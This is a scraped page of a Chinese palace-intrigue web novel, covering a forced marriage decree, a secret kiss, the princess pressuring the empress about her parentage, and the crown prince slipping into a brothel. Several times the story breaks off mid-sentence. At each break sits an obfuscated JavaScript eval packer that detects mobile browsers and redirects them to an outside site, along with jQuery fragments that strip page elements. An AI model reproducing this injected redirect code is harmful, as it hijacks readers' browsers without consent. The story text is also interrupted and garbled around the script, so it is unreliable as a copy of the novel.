注意到太子的视线,胥嘉故作委屈,低声道:“太子哥哥,此事千真万确,是我和蕊芝亲眼看见那赵成身上掉下了这块帕子的,如此私密之物,若非他与荣安公主早有私情,又岂会——” “荒谬!”太子厉声喝道,“赵成乃东宫侍卫统领,一向忠心耿耿,怎会做出此等大逆不道之事?” 不管会与不会,此事都必须得咬死了不会! 胥嘉不懂这些弯弯绕绕,他久居太子之位,又焉能同她一般拿这些事关东宫名誉之事来做文章。 本来对于胥毓一事,他都觉得无足轻重,不愿再管,但没想到胥嘉还不死心也就算了,竟还将这种蓄意构陷之事和东宫捆绑在了一起。 此事若成,父皇怎么可能为了个东宫侍卫而损伤皇室公主的颜面,所以最后必然是赵成领罚,东宫有损。 此事不成,那就更是东宫侍卫觊觎公主,而他太子御下不严,届时,无论是赵成,他,还是胥嘉,恐都难辞其咎。 其中弯弯绕绕,涉及良多,一不小心,只怕还要累及前朝。 而这些东西,胥嘉难道就从来没有想过吗? 就为了一点情情爱爱,便要扯出这么多的祸事来……胥阳丹抬眸,阴鸷的目光落在胥嘉身上,他本就不是什么好人,只是因为当了太子,才收敛了往日的脾气。 但此刻,胥嘉所做之事实在令人恼怒,若非是从前相伴的情谊,以及她那预知未来的能力……他只怕是真有些容不下这个女人了。 可胥嘉对此一无所知,她见太子丝毫没有对自己服软的模样,反而还颇为不耐地看着自己,心中更是不满。 所以当即咬唇道:“太子哥哥若不信,可召赵成前来对质。” 皇帝对于二人之间的暗流涌动视若无睹,不给太子反应的时间,立马便冷声道:“传赵成!” 不过片刻,赵成被带至御前。 他身材魁梧,面容刚毅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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处罚赵成?这是他刚提拔上来的亲信,纳了他妹妹也是因为近来有些背地里的事需要交由他去做,若此时事情还未办,他便卸磨杀驴,那往后又如何能让其及身边之人加以信任? 舍弃胥嘉?她自小便义无反顾地陪在自己身边,助他一路坐稳太子之位,虽然他并非是那种会为小情小义轻易折腰之人,但倒也不会如此薄情寡义,且还有她的预知能力…… 所以不就是和稀泥嘛,他也会! 皇帝冷声道:“如何查?” 太子看向胥嘉,眼中暗含告诫:“嘉儿,你说这帕子是从赵成身上掉出来的,可有人证?” 但胥嘉显然没有收到他的暗示,嘴一张便扬声道:“自然有!我的贴身宫女蕊芝亲眼所见!” “一个宫女的话,如何作数?”太子恨铁不成钢地瞥她一眼,还想挽救,“父皇,儿臣以为,此事必有隐情。赵成跟随儿臣多年,忠心耿耿,绝不会做出此等大逆不道之事。反倒是有些人……蓄意栽赃,也未可知?” 他说着,目光冷冷扫向胥嘉身旁的蕊芝。 暗示的如此明显,只要胥嘉指认她的贴身丫鬟,说是丫鬟媚上欺主,他再稍加调解,此事便可破解。 虽然这丫头是她的贴身丫鬟,但再怎样也不过是个宫女,往后他再送她十个百个,只要能解今日困局,都算不得可惜。毕竟一个丫鬟,死就死了,希望胥嘉可不要到现在还闷头一根筋,看不懂自己的暗示…… 但胥嘉显然没有领会,她脸色一白,误以为胥阳丹说得那蓄意栽赃之人是自己,当即道:“太子哥哥,你……你怎能如此污蔑于我?” 胥阳丹叹息着揉了揉太阳穴,被胥嘉气得够呛,他还待再辩,但皇帝却无暇再看三人这场大戏。 他眉头紧锁,目光在三人之间来回扫视,心中略一思量,便沉声道:“来人,将赵成拖下去,杖责五十,以儆效尤!” 太子闻言,面色骤变:“父皇!此事尚未查清,如此惩处,只怕难堵悠悠众口!” 皇帝冷声道:“虽未查清,但赵成身为侍卫,私藏公主之物,已是死罪!朕念在他往日功劳,才暂且饶他一命,尔等还有何话可说?至于悠悠众口,此事除今日在场之辈,再无旁人知晓,你等只要管好自己的嘴,又何惧再让外人听风起浪!” 太子咬牙,却不敢再言。 赵成被拖下去时,还尚有几分摸不着头脑,但他也不是傻子,很快就明白了这场无妄之灾出自胥嘉之手。所以临出门时,双目死死地盯着胥嘉,眼中满是恨意。 但此时的胥嘉只以为是自己的计谋得逞,所以心中好不得意,不过她倒是爱演,此刻仍旧故作不忍:“父皇……” 皇帝挥手打断,却是不想再听:“此事到此为止,谁也不许再提!” 说罢,拂袖而去。 41. 皇帝赐婚,毓轩拥吻 话说御书房一别后,胥嘉赌气不肯与太子言语,独自携了蕊芝回未央宫去了。 若在往日,胥阳丹必定不容分说,亲自护送她回宫,再将其中曲折细细掰开揉碎说与她听。偏生今日折损了他手下一员大将,又兼几番明示暗示,胥嘉仍旧只顾使小性子。纵有往日情分在,此刻也不免添了几分恼意,竟是不愿再低声下气哄她了。 太子回到东宫,愈想愈是气闷,忽地一脚踹翻案几,那紫檀木的几案轰然倒地,上头的青玉笔筒、端砚墨海尽数摔得粉碎。 他怒喝道:“怎生这般不识大体!” 身旁乳母周嬷嬷早已从随行的奴才口中得知始末,忙上前劝道:“殿下息怒。老奴早说过,那胥嘉郡主虽有些小聪明,却性子傲,眼里容不得沙子,实在不配正妻之位。若殿下实在喜欢,养在府里当个玩意儿也就罢了。如此恩宠过甚,反倒让她恃宠而骄,今日之事,只怕才是个开头!” “说得轻巧。”太子冷笑一声,眼中寒光闪烁,“她若是那等眼皮子浅的,当初本宫落难时,又怎会倾囊相助?她所求的,乃是那中宫之位!” 若在从前,权衡各方利弊,许胥嘉一个后位也无不可。但今日赵成因她一句话险些丧命,她竟全无顾全大局之念。这般人物若登上后位,将来还不知要闯出什么祸事来…… 周嬷嬷眼观鼻鼻观心,适时道:“殿下,后位之事,只怕还需从长计议……” 胥阳丹默然不语,但心中却已是首肯。 * 再说这未央宫内,胥毓正倚着雕花窗棂品茗。 窗外几株海棠开得正艳,那花瓣儿薄如蝉翼,被春风一吹,便纷纷扬扬落了一地。 琴夏匆匆进来,低声道:“公主,胥嘉郡主回来了。” 胥毓玉指轻抚茶盏边缘,淡淡道:“是何情状?” “面色不豫,想是碰了钉子。” 胥毓唇角微扬,心知她必是铩羽而归。只是圣上心慈,竟只小惩大诫,又将她放了回来。看来要除去这眼中钉,只怕是还需从长计议…… 暮春的风裹着花香穿窗而入,胥毓倚在软榻上,指尖捏着一封薄笺。 这信是今早云溪命人送来的,厚厚一沓。 前些日子她刚安顿妥当,便迫不及待写信报平安。随信还送了些地方特产,又说是看皇城时兴的衣裳款式不入眼,想着要做些衣裳生意,然后又特意画了几个花样子让胥毓挑选,说是待第一批成衣出来便送进宫来。 当时胥毓回信时顺带问了些问题,原以为她要忙生意,回信需等些时日,不想竟这般快就递了进来。 “云溪县主倒是个念旧的。”芳吟捧着鎏金香炉进来,炉中新添的沉水香袅袅升起,在殿内晕开一片清冽。 胥毓唇角微勾,将信纸凑近烛火,借着跳跃的火光细读。 云溪的字迹一如往常,十分的……不羁—— “阿柳安好,分别数日,可有想我?” “你所询之事,我细细回想,仍无头绪。这画本子里的世界是围着胥嘉与胥阳丹转的,所记之事皆与他二人相关。虽胥嘉前世死时,皇后曾言她非亲生,却未明说她是谁的孩子。重生后,胥嘉早早布局,也未涉及身世之谜。整个故事是普通的甜爽救赎文,所以重生后主要以二人相辅相成互相救赎,最后携手登临帝位为主。” “不过身世之谜我虽无法相助过多,但他二人之事我可详说。胥嘉在宫中布局多年,太医院、尚宫局、甚至御膳房都有她的人,但她并无自己的势力,大半是借太子之手安插的,她与太子捆绑太深,一荣俱荣,一损俱损。唯有一人是她心腹,便是我们在军营遇见的那蒙面人,他以刀闻名,名唤‘弯刀’,是胥嘉幼时从死牢里救出的亡命之徒,擅使双弯刀,刀法诡谲狠辣。此人为她处理过不少‘麻烦’,还望你务必当心。” 胥毓眸中寒光乍现,她将信纸折好,递到烛焰上,火舌瞬间吞噬了字迹,化作一缕青烟消散在空气中。 “褚奎。”她轻唤道。 “公主。” 阴影处走出个高大的身影。青年侍卫一身玄色劲装,腰间佩剑古朴无华,却隐隐透着杀气。他单膝跪地,垂首待命。 胥毓玉指轻叩案几:“若遇擅使弯刀之人,你的剑法,能有几成胜算?” “弯刀?”褚奎神色微僵,“公主怎突然问这个?” 胥毓叹了口气,也自觉或许是忧虑过甚,毕竟人都未见,如何能估量胜算? 所以想了想,她便摆手道:“没什么,突然想到,随口一问罢了。只是你日后定要勤练剑法,从今往后,我的安危就托付与你了。” 褚奎抬头,古井无波的眼中闪过一丝锐芒:“属下在,必护公主周全。” 胥毓方展颜一笑,但此时窗外忽然传来一阵急促的脚步声,她循声望去,只见琴夏慌慌张张地跑进来,额上还挂着汗珠:“公主!张公公来传旨,皇上召您即刻去紫宸殿!” 胥毓指尖一顿。 紫宸殿乃圣上日常接见朝臣之所,鲜少在此召见皇室子女,她与芳吟交换个眼神,后者会意,忙取来外裳为她披上。 “可说了是什么事?” 琴夏摇头:“张公公嘴紧,只说是喜事。” 喜事?胥毓心头蓦地掠过一丝不安。自设计胥锦婳后,皇帝看她的眼神便多了几分审视,此时突然召见…… 她抿了抿唇,理正腰间玉佩:“走吧。” 只怕不是什么好事! …… 紫宸殿前栽着两株百年银杏,此时新叶初绽,在阳光下泛着嫩绿的光。胥毓踩着青石甬道前行,裙摆扫过地上零落的银杏叶,发出细微的沙沙声。 殿内燃着龙涎香,浓郁得几乎让人喘不过气。 皇帝端坐在御案后,明黄色常服上绣着十二章纹,在光影交错中显得格外威严。让胥毓意外的是,皇后竟也在场,正垂眸坐在右下首的玫瑰椅上,手中佛珠一颗颗捻过,翡翠扳指在指尖泛着冷光。 “儿臣参见父皇,参见母后。”胥毓盈盈下拜。 “毓儿来了。”皇帝声音温和,却带着不容置疑的威严,“起来吧,看看这是谁。” 胥毓抬头,这才发现殿中还站着个陌生男子。约莫二十出头的样子,一身月白色锦袍,面容清秀,身形单薄如风中弱柳。 他此刻正局促地低着头,手指无意识地绞着衣带。 “此乃礼部侍郎杜明远之子,杜若衡。”皇上抚须微笑,“朕观其品性纯良,才学出众,特择为汝之驸马。” 胥毓脑中“嗡”的一声,指尖霎时冰凉。 驸马?! 她猛地看向皇后,后者却依然垂着眼帘,仿佛对一切浑然不觉,只有那佛珠捻动的速度微不可察地快了几分。 “父皇……”胥毓听见自己的声音飘忽得不像话,“儿臣还小……” “不日便是你十八生辰了。”皇帝打断她,语气不容反驳,“杜卿家世清白,为人谦和,婚后你仍可自由出入宫廷。朕已命人在兴宁坊修建公主府,年底就能竣工。” 胥毓指甲深深掐进掌心。 她太清楚这场赐婚意味着什么,杜若衡文弱怯懦,背后又无家族势力,这根本就是皇帝安插在她身边的耳目! 此番设计胥嘉与胥阳丹之事虽未露破绽,但皇帝疑心日重,恐她脱离掌控,这才急急指婚,妄图以此来拴住她。 殿角的铜漏滴答作响,每一滴都像是砸在她心上。 胥毓余光瞥见杜若衡偷偷抬眼打量她,目光相触的瞬间,对方立刻像受惊的兔子般低下头,耳根红得几乎滴血。 这般人物,如何做得了她的驸马? “儿臣……”但胥毓深吸一口气,还是认命地跪下,“谢父皇隆恩。” 毕竟现在的她,又有什么资格去拒绝? 倒是皇帝似乎没料到她答应得这般干脆,怔了一瞬方才笑道:“好!毓儿既然也无异议,那依朕之见,婚期就定在明年三月,正是春暖花开的好时节。” 胥毓额头抵着冰冷的金砖,嘴角扯出一个僵硬的弧度,三月,还有将近一年的时间。 ……足够她谋划许多事了。 从紫宸殿出来时,日头已经西斜。 胥毓走得极慢,仿佛每一步都踩在棉花上。途经御花园时,一阵熟悉的沉水香飘来,皇后不知何时跟了上来,正站在不远处望着她。 “母后。”胥毓机械地行礼。 皇后伸手拂去她肩头并不存在的灰尘,这个动作让两人距离极近,胥毓闻到对方袖中传来的药香,似乎是安神汤的味道。 “杜家公子性子软。”皇后声音轻得像叹息,“这样的人,适合拿捏,确实不错。” 胥毓猛地抬头,正想问问这桩婚事是否也有她的意思,却见皇后已经转身离去。夕阳将她的影子拉得很长,正好覆在胥毓脚前,打眼瞧去,宛若一条蜿蜒的黑河。 远处传来太监尖细的嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120771|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音:“杜公子,这边请——” 胥毓回头,看见杜若衡正被内侍领着往宫外走。年轻人步履虚浮,过门槛时甚至差点绊倒,这样的驸马…… 胥毓忽然笑了,只是眼底却一片冰凉。 …… 夜色沉沉,未央宫的烛火摇曳,在窗纸上投下斑驳的影子。胥毓倚在软榻上,指尖无意识地摩挲着那封赐婚的圣旨,明黄的绢帛上,朱砂御笔刺目得令人心惊。 【今有礼部侍郎杜明远之子杜若衡,品性端方,才学出众,堪为良配。特赐婚于皇长女荣安公主胥毓,择吉日完婚。】 “呵。”她低笑一声,猛地一掷,那圣旨便一骨碌滚到了地上。 皇帝这一手,分明是在警告她!或许当年的胥季荷也曾面对过他这样的逼迫,所以才宁愿将错就错和大皇子胥殊在一起,也不想再多看他这幅恶心的嘴脸一眼! 胥毓正气闷着,忽听窗外似乎传来阵极轻的脚步声,她眼神一凛,迅速将圣旨捡起放在桌上,然后沉声问道:“谁?” “是我。” 低沉熟悉的嗓音响起,胥毓心头一跳。她快步走到窗前,推开窗棂,便见邰玉轩立在月光下,眉目如刀削般锋利,眼底翻涌着一股难以压抑的情绪。 “你疯了?”胥毓压低声音,“怎么敢大晚上的来找我!” 皇帝留他在宫中教授皇室子女,倒是给他提供了深夜密会自己的机会,也不知皇帝知道了此事,会不会后悔自己当初做下的这个决定。 但邰玉轩没答话,只是死死盯着她,呼吸微重,“听说皇上给你赐婚了?” 夜风拂过,带起他衣袍上皂角的清香味,胥毓指尖一颤,面上却笑得漫不经心:“邰将军消息倒是灵通。” “我带你走。” 短短四个字,却像惊雷炸在耳畔。胥毓怔住,抬眸看他,月光下,少年将军的轮廓格外坚毅,眼中却带着近乎绝望的执着。 “你说什么?” “现在就走。”他上前一步,掌心贴在她的窗棂上,青筋微凸,“北疆、南境,哪怕是海外番邦,只要你开口,我——” “我不走。”但胥毓打断他。 邰玉轩僵住:“为什么?” “凭什么?”她反问,眼底燃着幽暗的火,“害我的人还在宫里逍遥自在,我为什么要像个丧家之犬一样逃?” “可那是赐婚!”邰玉轩声音压得极低,却字字如刀,“杜若衡就是个傀儡,皇上是要用他监视你!” “我知道。”胥毓抬眸,与他四目相对,“可婚期在明年三月,我还有时间。” “阿柳!” “邰玉轩。”她忽然逼近,几乎贴到他面前,呼吸交缠,“你这么着急,是为什么?” 少年将军的喉结滚动了一下,别开眼:“我……” “喜欢我?” 夜风骤停,连虫鸣都仿佛静止,邰玉轩的呼吸彻底乱了,他猛地后退一步,像是被烫到一般。 胥毓却不放过他,索性翻窗而出,一步步逼近:“说话。” “……是。”这个字几乎是从齿缝里挤出来的。 “那当初怎么不带我走,为什么非要送我回宫?”她冷笑,“怕连累镇国公府?怕背上拐带皇女的罪名?” 邰玉轩猛地抬头,眼中血丝分明:“是,也不是。阿柳,你别逼我,你知道的,我可以为你而死,但却绝不能——” “不能什么?” “不能娶你!”他声音嘶哑,“我是东陵城的将军,随时有可能会死在战场上。邰家世代将门,我的命......从来都不是自己的!所以我不能害了你的一生,你该有更好的生活!” 月光洒在两人之间,像一道无形的鸿沟,胥毓看着他紧握的拳头,忽然笑了。 “更好的生活?邰将军还真是体贴入微,连本公主以后的生活都已经想好。”她轻飘飘地说道,“那好啊,我告诉你,我不会走,我要留在皇宫,然后你就眼睁睁看着我和杜若衡成亲,看着他牵我的手,看着他——” “胥毓!”邰玉轩猛地抓住她的手腕,力道大得几乎要捏碎骨头。 “怎么?”她仰头看他,眼中带着挑衅,“这就受不了?新婚夫妻该做些什么,还需要我告诉你吗,邰将军?到时候他可不仅会牵我的手呢,我们会躺在一张床上,他会摸我的脸,吻我的唇,然后——” 胥毓话音未落,邰玉轩猛地将她拉入怀中,然后低头吻了下来。 42. 原来是她的好皇弟呀 月色溶溶,海棠树下人影参差,二人唇齿交缠间,腥甜血味与咸涩泪珠混作一处。 邰玉轩的唇瓣虽冷若冰霜,犹自颤巍巍紧贴不放,倒似要将满腔未言之语尽数渡入这缠绵一吻。 但在此刻,忽听“咔嚓”一声脆响,原是枯枝断裂之音。 二人慌忙分开,便见褚奎立于花荫深处,手中流星剑“当啷”坠地。 清冷月华倾泻而下,将三人身影拉得老长,恍若三株伶仃瘦竹。 褚奎踟蹰不敢前,面白如纸,眼中波澜起伏,惊、痛、怨……诸般情绪如走马灯般轮转。 直至胥毓从容拭去唇上血痕,声音平静得唤他:“褚奎。” 眼神晦暗地青年才骤然回神,单膝跪地,嗓音沙哑似吞了炭火:“属下......什么也没看见。” 一阵穿林风过,吹落满树海棠,胭脂色花瓣纷纷扬扬,落在三人衣袂间,倒似一场无声的祭礼。 邰玉轩没再多留,闭目转身,衣袂翻飞间已跃上宫墙,“你若想走,随时传信给我,记住,谁也不能让你做违心之事。” 语毕人影杳然,唯余满地破碎的月光。 胥毓的双颊艳色未褪,她靠近几步,弯腰拾起褚奎掉落的剑,指尖拂过剑鞘上的纹路:“这剑,还趁手吗?” 褚奎抬头,眼中情绪已然平复:“趁手。” “那就好。”她将剑递还给他,转身向寝殿行去,“色已深,早些安歇。” “是。” …… 翌日清晨,薄雾如纱笼罩未央宫,胥毓立于庭中,葱指轻抚过新呈来的公主府图样。 “兴宁坊的位置倒是不错。”她唇角微勾,指尖点在图纸上的一处院落,“只是此处,不要水榭,改成演武场。” 内务府总管太监拭着额角冷汗:“公主,这恐怕不合规矩......” “规矩?”胥毓眼波流转,笑意未达眼底,“父皇赐我公主府时,可没说本公主不能按自己的喜好改建。” 那太监被她眼风一扫,顿觉脊背生寒,忙不迭躬身称是。 “还有——”这还不算完,胥毓的指尖轻叩图纸,“即日起,本宫就要自由出入宫禁,亲自监督修葺。” “这……” “怎的?”胥毓挑眉冷笑,“莫非父皇赐府是假,拘禁是真?待他日修葺不合心意,可是要劳烦公公来拆墙倒壁?” 管事太监不敢再拦,吓得连连作揖:“公主勿急,实在是此事奴才也做不了主,还请您稍候,奴才这就去请旨……” 待众人退下,芳吟悄声问道:“公主真要演武场作甚?” 胥毓卷起图纸,眸中寒芒乍现:“都说是练武场了,自然是为了练武呗!” 原来她心中早有计较,疑心自己并非真凤,那龙椅上的“父皇”,说不得也正是弑亲仇人。 所以此番布置,不过未雨绸缪罢了。 管事太监的速度极快,没过多久,圣旨果然准了所求。 胥毓心下了然,既是许了赐婚这等大事,出宫这等小节反倒不便阻拦。毕竟横竖圣旨已下,她早晚要离了这金丝笼,早几日,晚几日,又能有多大区别? 于是当下便换了身衣裳,青丝高绾,正吩咐宫人备马出宫,打算今日先去看看云溪,就听一道清冷的声音从殿外传来。 “毓儿这是要去何处?”声若碎玉。 回首望去,但见皇后不知何时已立于廊下。深青翟衣映着九凤步摇,日光透过雕花棂格,在她面上投下斑驳影痕。 胥毓动作顿了顿,福身行礼:“回母后,父皇恩准儿臣自由进出皇宫,所以儿臣想先去公主府看看修葺进度。” 皇后缓步近前,眼中晦暗难明:“你倒适应得快。”说到此处,她忽又轻笑,“不过这样也好,似你这般,嫁作人妇,相夫教子,反倒得个善终。” 这话虽透着慈爱,面上却凝着层寒霜。胥毓直视凤目:“母后当真愿见儿臣出嫁?” 皇后唇角微扬,却不答话,殿内一时静得可怕,只有更漏滴答作响。 胥毓忽然笑了:“母后知道吗?那日佛堂失火,为了自救,儿臣将供桌上的桌布浸在水里,但因为太过着急,竟一不小心将您那只观音像手中的净瓶撞落在地。那只净瓶光洁透亮,一看便不是凡品,想来应该是母后极为心爱之物。所以儿臣怕极了,生怕打碎了这东西惹了母后厌烦,所以就想着要不要将碎片带回来,看看能不能找着个类似的,稍作弥补。但谁知道就在儿臣伸手去捡的时候,却忽然在那净瓶的碎片底下,看见了一样有趣的东西……” 皇后的手指微不可察地一颤。 “那是一篇用鲜血勾绘的《往生咒》,字里行间还隐约夹杂着‘弑君’二字。红艳艳的,字字泣血,足可看出写这东西的人当时是带着多深的怨恨!也不知到底是谁,竟然如此胆大包天,竟敢在天子脚下做出此等大逆不道之事!母后,您说……是与不是?”胥毓一步步逼近,忽然笑道,“不过仔细想来,母后的字迹,儿臣好像也见过,嘶……应当是……” “够了!”皇后眸色骤冷,抬手一挥,身旁的嬷嬷立刻带着所有宫人退下,紧接着殿门“吱呀”一声关上,将阳光隔绝在外。 “你想知道什么?”皇后声音平静,却带着刺骨的寒意。 胥毓却不退反进:“母后放心,儿臣当然不会伤害母后,儿臣只不过是想要知道真相,关于胥季荷,关于癸酉年大寒,关于......我的身世。” “可有些人,知道得越多,死得越快。” “那也好过做个糊涂鬼!” 皇后凝视她良久,忽轻笑:“你以为拿这个要挟,本宫就会就范?” “母后不怕儿臣告诉父皇?” “你去啊。”皇后拂袖转身,声音轻若游丝,“且看他是信你,还是信本宫。” 胥毓早知皇后非易与之辈,所幸留有后手,轻笑一声,便话锋忽转:“儿臣近日查到桩趣事,今日有空,索性便说与母后听听吧。听说先皇在时,曾格外疼爱一位叫做胥季荷的女子,可不知为何,后来却突然传出她与皇长子胥殊有私情,于是先皇震怒之下驾崩,这才传位给了当今圣上,也就是父皇。” 皇后的背影僵了一瞬。 “更有趣的是。”胥毓缓步绕到皇后面前,“据说当年,父皇也曾爱慕过这位叫做胥季荷的女子呢……” “他也配!” 皇后猛地抬头,眼中迸发出骇人的恨意。 她一把攥住胥毓的手腕,力道大得几乎要捏碎骨头:“你以为你是谁?凭什么来试探本宫?!” 胥毓任由她抓着,不闪不避:“就凭……我可能是胥季荷的女儿!” 当然,这是胥毓胡蒙的,虽然有所猜测,但到底没有真凭实据。可皇后又不知道,所以她故意这么说,诈诈她,看看能不能套出什么有用的信息来。 此言一出,殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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真真是“九市开场,货别隧分”的繁华景象。 “这丫头倒会挑地方。”胥毓见街口那朱漆铺面悬着鎏金匾额,上书“锦绣阁”三个斗大楷字,在日头下灿灿生辉,不由莞尔,“那便去看看吧。” 马车刚停稳,便见个着杏色罗裙的姑娘风也似地卷出来。 但见她蛾眉淡扫,杏眼含春,云鬓斜簪一支累丝金凤,腰间玉佩叮当。 不是云溪又是哪个? “阿柳!”她一见来人,顿时喜出望外,连忙上前攥住胥毓手腕,上下端详,“瘦了!宫里那些人是不是又欺负你了?” 胥毓轻戳她额头:“谁能欺负得了我?” 云溪撇嘴:“得了吧,那个假公主胥嘉,还有太子,哪个是省油的灯?” 她拉着胥毓往里走,一边走一边絮叨:“我跟你说,我这铺子虽然才刚开张,但生意好得不得了,连御史夫人都来订过衣裳呢……” 掀帘入内,但见四壁绫罗灿若云霞,案上成衣巧夺天工。绣绷前坐着几个穿蓝布衫的妇人,银针在指尖翻飞,竟是在绣双面异色牡丹。檀木架上悬着件金线蟒袍,日光透过窗棂照在上头,晃得人眼花。 云溪引着胥毓穿过三进厅堂,忽在月洞门前驻足,神秘道:“对了,今天还有个人想让你见见,他帮了我不少忙,人挺有意思的!” 话音未落,先闻得一阵清幽茶香。 胥毓挑眉:“谁?” 云溪笑而不答,推开后院的花厅门。 只见湘帘半卷,海棠纷飞,紫檀案上设着越窑青瓷,有个穿靛蓝锦袍的少年背门烹茶。听得动静,他忽而转身,十多岁的少年眉目如画,唇畔含笑。 竟是她的好皇弟——胥文璟! 43. 偷听 胥毓瞳孔一缩:“……文璟?” 四皇子胥文璟,胥毓册封后赶回了皇宫,但他不喜拘束,留在皇宫没几日,便又找着借口出了宫。 胥毓还记得自己多问了一嘴,当时他院子里的丫头说,他是害了什么病,然后出宫求诊。 宫里的御医哪个不是医术高超,怎用得着他出宫寻医问药,且此刻他站在云溪的院子里,气色红润,眼神清亮,哪有半分病弱的样子? 要真说是害了什么病,哼!那只怕是相思成疾,久念难医了! “皇姐。”但胥文璟见来人是胥毓,眼底却没有半分不好意思,他大大方方的笑着行礼,"别来无恙。没想到你竟然和云溪认识呀?" 胥毓眯起眼,没被他糊弄过去:“听闻四皇弟染恙出宫求医,不曾想竟是求到这儿来了,也不知近日吃得是些什么药,瞧着精神头倒确实是愈加的光彩照人。” 胥文璟摸了摸鼻子,有些不好意思:“皇姐莫要说笑了,实在是弟弟我若不找个借口,怎么能溜出宫来呢?” 云溪笑嘻嘻地拉着两人入座:“阿柳你也认识文璟呀?我跟你说,他可了不得,要不是他帮我谈成了好几笔大生意,我这铺子可没这么快就能做起来呢!” 胥毓盯着胥文璟看了半晌,忽然笑了:“不止认识,还很熟。这小子难道没告诉你,他是皇宫里的四皇子吗?文璟,你倒是藏得深啊……” 胥文璟给她斟了杯茶,茶汤清亮,香气扑鼻。 “皇姐不也一样?身边有这样有趣的玩伴也不早点介绍给弟弟认识,若能早日结识云溪这样的女子,弟弟又何须天南地北的四处游荡?” 二人唇枪舌剑,两张巧嘴,竟是谁也不让谁,倒把云溪听得云里雾里。 最后还是芳吟寻了个由头,将胥文璟支到了外头去,姐妹二人才得空,能说说只她们两人能谈的知心话。 花厅里茶香袅袅,一时静谧,唯闻茶炉咕嘟。窗外一株海棠开得正盛,花瓣随风飘落,有几片落在茶案上。 胥毓将自己近日查到的皇宫之中关于胥季荷、皇后、皇帝的秘密娓娓道来,说完后她捻起一片桌上的花瓣,轻声道:“……事情大抵就是如此,我如今实在有些茫然。” 云溪听得目瞪口呆,她脸色煞白:“所以……你可能是胥季荷的女儿?那皇帝岂不是……” “最坏的结果,他会是我的杀父仇人。”胥毓冷冷道。 窗外忽起一阵狂风,吹得满案花瓣簌簌作响。 云溪揉了揉太阳穴,眉头紧锁:“奇怪……我总觉得这些事应该是有些印象的,但不知为何,就是有些想不起细节……” 胥毓关切地问道:“莫不是这段时日累着了?你也不用费心去想,我和皇后做了交易,只要将胥嘉赶出皇宫,她就会告诉我真相,到时候,所有的谜团就都水落石出了。” “那好吧,横竖你要对付胥嘉,之后我再仔细想想她与太子的情况便是。”云溪摆摆手,忽又展颜,“对了!阿柳,我给你做的新衣裳已经放了几日,原是想挑个合适的日子给你送进宫去,却不想你倒是先来了。你且等等,我去给你拿来!” 她兴冲冲地跑进内室,胥毓也有些好奇,于是跟着走了进去,然后便见云溪从柜子里捧出了一个锦盒。盒中是一件正红色蹙金绣凤纹的广袖长裙,衣襟和袖口用金线绣着繁复的缠枝纹,在阳光下熠熠生辉。 “这是我特意根据你选的花样让绣娘做出来的,不管是用的布料,还是刺绣的手艺,样样都是最拔尖的!”云溪挤眉弄眼,“到时候你挑个热闹的宴会穿上这个,保管艳压全场,然后还能顺带着给我当个活招牌!” 芳吟从两人离开花厅的时候便跟了上来,眼下也在一旁笑道:“刚好再过两月便是公主的寿宴,眼下还未定好所需服饰,县主这衣裳来得可正是时候。” 胥毓抚过裙上的绣纹,也是唇角微勾:“好,生辰宴就穿它,到时候我可得好好打扮一番,万不能砸了你这店铺的招牌!” “哈哈哈……你可莫要打趣我了。”云溪笑得前仰后翻,“只要不丢了你的脸,我就心满意足了!” ……待到日落西山时,胥毓才告辞离去。 马车缓缓驶离城南,胥毓靠在车壁上,闭目养神。 忽听芳吟轻声道:“公主,四皇子似乎对云溪县主……” 胥毓唇角微扬:“少年慕艾。” 芳吟抿嘴一笑:“县主好像还没察觉。” “这样也好。”胥毓睁开眼,眸中闪过一丝怅然,“宫墙里的是是非非实在太多,何必再拖一个人进来?他能这样简单快乐的活着也挺好。” 马车转过街角,缓缓行驶在回宫的朱雀大街上,车帘微掀,夕阳的余晖透过车帘洒进来,将胥毓的侧脸镀上一层金边,她漫不经心地望着街景。 忽然,前方一家灯火辉煌的楼阁吸引了她的注意。 醉仙楼,皇城中最大的歌舞坊。 这本没什么稀奇,可就在马车经过时,一道熟悉的身影从侧门闪了进去。那人披着斗篷,帽檐压得很低,可那走路的姿态却再熟悉不过。 太子胥阳丹! “停车。”她低声吩咐。 芳吟顺着她的目光望去,脸色微变:“公主,那是……” “青楼。”胥毓唇角勾起一抹冷笑,“太子殿下倒是好兴致。” 她本不想多管闲事,可转念一想,太子想要什么样的美女没有,且他素来谨慎,为何会堂而皇之出入烟花之地,并且还搞得那样全副武装? 除非……这里面藏着什么不可告人的秘密! “去旁边那家成衣铺。”胥毓当机立断,“买套男装。” 半刻钟后,一个身着月白色锦袍的“少年公子”摇着折扇,大摇大摆地走进了醉仙楼。 胥毓束了发,描粗了眉,唇上还贴了两撇小胡子,乍一看倒真像个清秀的小郎君。楼内莺莺燕燕见她衣着华贵,纷纷围上来献殷勤。 “小公子面生得很,第一次来?”一个穿桃红色纱裙的姑娘娇笑着挽住她的手臂。 胥毓强忍不适,压低嗓音笑道:“听闻醉仙楼的姑娘才艺双绝,特来见识。” 她随手塞了块碎银给那姑娘,目光却扫向二楼,那是太子方才消失的方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 